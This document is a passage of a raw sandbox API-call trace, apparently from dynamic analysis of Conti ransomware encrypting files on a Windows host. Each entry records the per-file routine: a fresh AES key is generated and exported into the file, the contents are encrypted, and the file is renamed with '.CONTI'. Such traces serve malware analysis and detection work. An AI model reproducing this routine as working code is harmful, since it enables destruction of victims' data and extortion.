	[0118.773] WriteFile (in: hFile=0x398, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x358f30, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x358f30, lpOverlapped=0x0) returned 1
	[0120.346] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.346] WriteFile (in: hFile=0x398, lpBuffer=0x6b51de8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x6b51de8*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0120.346] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0120.347] CloseHandle (hObject=0x398) returned 1
	[0120.347] GetProcessHeap () returned 0x1720000
	[0120.347] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0120.467] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.A0" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.A0") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.A0"
	[0120.467] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.A0", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.A0.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.A0.CONTI"
	[0120.467] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.A0" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.a0"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.A0.CONTI" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.a0.conti")) returned 1
	[0120.469] GetProcessHeap () returned 0x1720000
	[0120.469] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0120.469] CryptDestroyKey (hKey=0x6b7f3f8) returned 1
	[0120.469] GetProcessHeap () returned 0x1720000
	[0120.469] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180bda0 | out: hHeap=0x1720000) returned 1
	[0120.469] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0120.469] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x6b462e0 | out: phKey=0x6b462e0*=0x6b7f3f8) returned 1
	[0120.469] CryptExportKey (in: hKey=0x6b7f3f8, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b462e4, pdwDataLen=0x433f9bc | out: pbData=0x6b462e4*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0120.470] GetFileAttributesW (lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm")) returned 0x20
	[0120.475] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4
	[0120.476] GetLastError () returned 0x0
	[0120.476] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=638) returned 1
	[0120.476] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x27e
	[0120.476] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.476] SetEndOfFile (hFile=0x3e4) returned 1
	[0120.482] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0120.482] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.482] WriteFile (in: hFile=0x3e4, lpBuffer=0x6b462e4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x6b462e4*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0120.487] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0120.487] ReadFile (in: hFile=0x3e4, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x27e, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x27e, lpOverlapped=0x0) returned 1
	[0120.487] CryptEncrypt (in: hKey=0x6b7f3f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x27e, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x280) returned 1
	[0120.487] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.487] WriteFile (in: hFile=0x3e4, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x280, lpOverlapped=0x0) returned 1
	[0120.487] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.487] WriteFile (in: hFile=0x3e4, lpBuffer=0x6b462d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x6b462d8*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0120.487] SetFilePointer (in: hFile=0x3e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0120.487] CloseHandle (hObject=0x3e4) returned 1
	[0120.488] GetProcessHeap () returned 0x1720000
	[0120.488] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0120.488] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" | out: lpString1="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm") returned="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm"
	[0120.488] lstrcatW (in: lpString1="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.CONTI") returned="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.CONTI"
	[0120.488] MoveFileW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm"), lpNewFileName="C:\\ProgramData\\Package Cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.CONTI" (normalized: "c:\\programdata\\package cache\\{e6e75766-da0f-4ba2-9788-6ea593ce702d}\\state.rsm.conti")) returned 1
	[0120.488] GetProcessHeap () returned 0x1720000
	[0120.488] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0120.488] CryptDestroyKey (hKey=0x6b7f3f8) returned 1
	[0120.488] GetProcessHeap () returned 0x1720000
	[0120.488] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c5e78 | out: hHeap=0x1720000) returned 1
	[0120.488] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0120.488] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x6b469b8 | out: phKey=0x6b469b8*=0x6b7f3f8) returned 1
	[0120.488] CryptExportKey (in: hKey=0x6b7f3f8, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b469bc, pdwDataLen=0x433f9bc | out: pbData=0x6b469bc*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0120.489] GetFileAttributesW (lpFileName="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag" (normalized: "c:\\programdata\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run extensibility component.swidtag")) returned 0x20
	[0120.493] CreateFileW (lpFileName="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag" (normalized: "c:\\programdata\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run extensibility component.swidtag"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410
	[0120.493] GetLastError () returned 0x0
	[0120.493] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=1072) returned 1
	[0120.493] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x430
	[0120.493] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.493] SetEndOfFile (hFile=0x410) returned 1
	[0120.494] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0120.494] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.494] WriteFile (in: hFile=0x410, lpBuffer=0x6b469bc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x6b469bc*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0120.499] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0120.499] ReadFile (in: hFile=0x410, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x430, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x430, lpOverlapped=0x0) returned 1
	[0120.500] CryptEncrypt (in: hKey=0x6b7f3f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x430, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x440) returned 1
	[0120.500] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.500] WriteFile (in: hFile=0x410, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x440, lpOverlapped=0x0) returned 1
	[0120.500] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.500] WriteFile (in: hFile=0x410, lpBuffer=0x6b469b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x6b469b0*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0120.500] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0120.500] CloseHandle (hObject=0x410) returned 1
	[0120.500] GetProcessHeap () returned 0x1720000
	[0120.500] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0120.500] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag" | out: lpString1="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag") returned="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag"
	[0120.500] lstrcatW (in: lpString1="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag.CONTI") returned="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag.CONTI"
	[0120.500] MoveFileW (lpExistingFileName="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag" (normalized: "c:\\programdata\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run extensibility component.swidtag"), lpNewFileName="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Extensibility Component.swidtag.CONTI" (normalized: "c:\\programdata\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run extensibility component.swidtag.conti")) returned 1
	[0120.503] GetProcessHeap () returned 0x1720000
	[0120.503] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0120.503] CryptDestroyKey (hKey=0x6b7f3f8) returned 1
	[0120.503] GetProcessHeap () returned 0x1720000
	[0120.503] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e52d0 | out: hHeap=0x1720000) returned 1
	[0120.503] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0120.503] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x6b482d0 | out: phKey=0x6b482d0*=0x6b7f3f8) returned 1
	[0120.503] CryptExportKey (in: hKey=0x6b7f3f8, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b482d4, pdwDataLen=0x433f9bc | out: pbData=0x6b482d4*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0120.504] GetFileAttributesW (lpFileName="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag" (normalized: "c:\\programdata\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run localization component.swidtag")) returned 0x20
	[0120.504] CreateFileW (lpFileName="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag" (normalized: "c:\\programdata\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run localization component.swidtag"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410
	[0120.504] GetLastError () returned 0x0
	[0120.504] GetFileSizeEx (in: hFile=0x410, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=1071) returned 1
	[0120.504] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x42f
	[0120.504] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.504] SetEndOfFile (hFile=0x410) returned 1
	[0120.504] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0120.504] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.505] WriteFile (in: hFile=0x410, lpBuffer=0x6b482d4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x6b482d4*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0120.511] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0120.511] ReadFile (in: hFile=0x410, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x42f, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x42f, lpOverlapped=0x0) returned 1
	[0120.511] CryptEncrypt (in: hKey=0x6b7f3f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x42f, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x430) returned 1
	[0120.511] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.511] WriteFile (in: hFile=0x410, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x430, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x430, lpOverlapped=0x0) returned 1
	[0120.511] SetFilePointerEx (in: hFile=0x410, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.511] WriteFile (in: hFile=0x410, lpBuffer=0x6b482c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x6b482c8*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0120.511] SetFilePointer (in: hFile=0x410, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0120.511] CloseHandle (hObject=0x410) returned 1
	[0120.512] GetProcessHeap () returned 0x1720000
	[0120.512] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0120.512] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag" | out: lpString1="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag") returned="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag"
	[0120.512] lstrcatW (in: lpString1="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag.CONTI") returned="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag.CONTI"
	[0120.512] MoveFileW (lpExistingFileName="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag" (normalized: "c:\\programdata\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run localization component.swidtag"), lpNewFileName="C:\\ProgramData\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft Office 16 Click-to-Run Localization Component.swidtag.CONTI" (normalized: "c:\\programdata\\regid.1991-06.com.microsoft\\regid.1991-06.com.microsoft office 16 click-to-run localization component.swidtag.conti")) returned 1
	[0120.512] GetProcessHeap () returned 0x1720000
	[0120.512] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0120.512] CryptDestroyKey (hKey=0x6b7f3f8) returned 1
	[0120.512] GetProcessHeap () returned 0x1720000
	[0120.512] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e4b98 | out: hHeap=0x1720000) returned 1
	[0120.512] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0122.431] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x6b4fbb8 | out: phKey=0x6b4fbb8*=0x6b7ebb8) returned 1
	[0122.431] CryptExportKey (in: hKey=0x6b7ebb8, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4fbbc, pdwDataLen=0x433f9bc | out: pbData=0x6b4fbbc*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0123.642] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.005.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.005.etl")) returned 0x2020
	[0123.644] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.005.etl" (normalized: "c:\\programdata\\usoshared\\logs\\notificationuxbroker.005.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0123.644] GetLastError () returned 0x0
	[0123.644] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=8192) returned 1
	[0123.644] SetFilePointer (in: hFile=0x300, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2000
	[0123.644] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.644] SetEndOfFile (hFile=0x300) returned 1
	[0123.645] SetFilePointer (in: hFile=0x300, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0123.645] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.645] WriteFile (in: hFile=0x300, lpBuffer=0x6b4fbbc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x6b4fbbc*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0125.105] SetFilePointer (in: hFile=0x300, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0125.105] ReadFile (in: hFile=0x300, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x2000, lpOverlapped=0x0) returned 1
	[0125.106] CryptEncrypt (in: hKey=0x6b7ebb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2000, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2010) returned 1
	[0125.106] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.106] WriteFile (in: hFile=0x300, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x2010, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x2010, lpOverlapped=0x0) returned 1
	[0129.227] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.227] WriteFile (in: hFile=0x300, lpBuffer=0x6b4fbb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x6b4fbb0*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0129.227] SetFilePointer (in: hFile=0x300, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.227] CloseHandle (hObject=0x300) returned 1
	[0129.560] GetProcessHeap () returned 0x1720000
	[0129.560] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x65f6ee0
	[0129.560] lstrcpyW (in: lpString1=0x65f6ee0, lpString2="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.005.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.005.etl") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.005.etl"
	[0129.560] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.005.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.005.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\NotificationUxBroker.005.etl.CONTI"
